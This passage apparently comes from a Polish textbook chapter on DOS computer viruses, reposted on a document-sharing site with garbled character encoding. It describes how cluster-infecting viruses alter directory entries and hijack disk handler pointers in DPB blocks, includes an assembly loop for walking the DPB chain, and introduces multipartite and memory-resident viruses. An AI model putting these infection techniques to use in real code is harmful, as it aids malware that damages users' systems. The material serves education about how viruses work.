danych zawartych w tablicy FAT.

Wirus infekujàcy przy uýyciu JAP zmienia w polu katalogu rozmiar danego pliku (najczæúciej na rozmiar jednej JAP) oraz wartoúã pierwszej JAP pliku, która wskazujàc na wirusa umoýliwia jego wczytanie niejako przed kod programu ùadowanego z dysku i w efekcie przejæcie kontroli nad systemem. Zainstalowany w pamiæci wirus ma nastæpnie moýliwoúã wczytania dalszej czæúci programu na podsta

wie przechowywanej oryginalnej wartoúci pierwszej JAP oraz dùugoúci pliku. W celu zapewnienia poprawnego wczytania reszty pliku wirus musi dotrzeã do wewnætrznych procedur systemu operacyjnego, przeznaczonych do obsùugi dysków. Najczæúciej realizuje siæ to poprzez odpowiednià zamianæ adresu procedury obsùugujàcej dysk, zawartej w tzw. blokach DPB (ang. Drive Parameter Block), strukturach tworzonych przez system operacyjny podczas jego inicjacji dla wszystkich istniejàcych w systemie dysków logicznych. Struktura DPB zawiera wszystkie informacje potrzebne do obsùugi dysku logicznego przez system (czæúã danych znajduje siæ w bloku BPB dysku, zawartego w BOOT-sektorze).

Peùny opis bloku DPB zawarto w poniýszej tabeli.

Format bloku DPB

Adres

Zawartoúã

Numer dysku A:=0, B:=1, C:=2

Numer jednostki w programie obsùugi

Wielkoúã sektora w bajtach

log2 (liczba sektorów w JAP)

Liczba zarezerwowanych sektorów na poczàtku dysku

Iloúã kopii tablicy FAT (najczæúciej 2)

09-0A

Maksymalna iloúã plików w katalogu gùównym

0B-0C

Pierwszy sektor danych

0F-10

Liczba sektorów na FAT

Numer pierwszego sektora katalogu

Daleki wskaênik do programu obsùugi dysku

Bajt identyfikacji noúnika

Znacznik dostæpu do dysku

19-1C

Daleki wskaênik do nastæpnego bloku DPB

1D-1E

Numer pierwszej wolnej JAP na dysku

1F-20

Liczba wolnych JAP na dysku

Adres pierwszego bloku DPB uzyskiwany jest najczæúciej przy uýyciu funkcji (52/21). Na podstawie danych w pierwszym DPB moýna przejúã (poruszajàc siæ po liúcie) do kolejnych bloków DPB. Realizuje to poniýsza sekwencja:

Przeszukiwanie ùañcucha DPB

mov AH,52h ; funkcja DOS - pobierz adres do listy list (LL)

INT 21h ; wywo│aj DOS po wywo│aniu ES:BX zawiera adres do LL, w

; kom≤rkach od ES:[BX] do ES:[BX+3] znajduje

; siΩ daleki wskaƒnik do pierwszego DPB

LES BX,ES:[BX] ; ES:BX wskazuje na pierwszy DPB

NastΩpnyDPB: ; pocz╣tek pΩtli

LDS SI, ES:[BX+13h] ; DS:SI wskazuje teraz na program obs│ugi LES BX,ES:[BX+19h] ; ES:BX wskazuje teraz na nastΩpny bloku DPB, je┐eli jest

; to ostatni blok, to ES i BX zawieraj╣ OFFFFh,

MOV AX,ES ; weƒ segment

CMP AX,0FFFFh ; czy ES=OFFFFh ?

JNZ NastΩpnyDPB ; je£li nie, to jest jeszcze kolejny DPB

CMP BX,AX ; czy BX=OFFFFh?

JNZ NastΩpnyDPB ; je£li nie, to jest jeszcze kolejny DPB

4.5. Wirusy kombinowane (ang: multipartition)

Tego typu wirusy sà wirusami zawierajàcymi mechanizmy infekcji róýnych obiektów.

W przypadku, gdy wirus zaraýa pliki uruchamialne (EXE, COM), a takýe sektor tablicy partycji oraz ewentualnie BOOT-sektory i inne pliki, nazywa siæ go wirusem typu multipartition. Ze wzglædu na szerokà gamæ zaraýanych przez siebie ofiar, wirusy tego typu bardzo szybko rozprzestrzeniajà siæ w systemie komputerowym.

Pamiæã przydzielana programom przez system DOS jest zwalniana zaraz po ich zakoñczeniu, stàd teý wirus rezydentny, chcàc przejmowaã przerwania, musi wygospodarowaã sobie jakiú fragment w pamiæci, do którego moýe siæ skopiowaã, aby nie zostaã zamazanym przez kod innego programu, wczytywanego do zwolnionych przez system obszarów pamiæci.

Do instalacji moýna wykorzystaã dowolny fragment pamiæci, który na pewno nie zostanie wykorzystany i zamazany przez ýaden inny program (co skoñczyùoby siæ prædzej czy póêniej zawieszeniem komputera, gdyý zostaùaby zamazana procedura obsùugi przejætego przerwania).



Politica de confidentialitate | Termeni si conditii de utilizare



DISTRIBUIE DOCUMENTUL

Comentarii


Vizualizari: 816
Importanta: rank

Comenteaza documentul:

Te rugam sa te autentifici sau sa iti faci cont pentru a putea comenta

Creaza cont nou

Termeni si conditii de utilizare | Contact
© SCRIGROUP 2025 . All rights reserved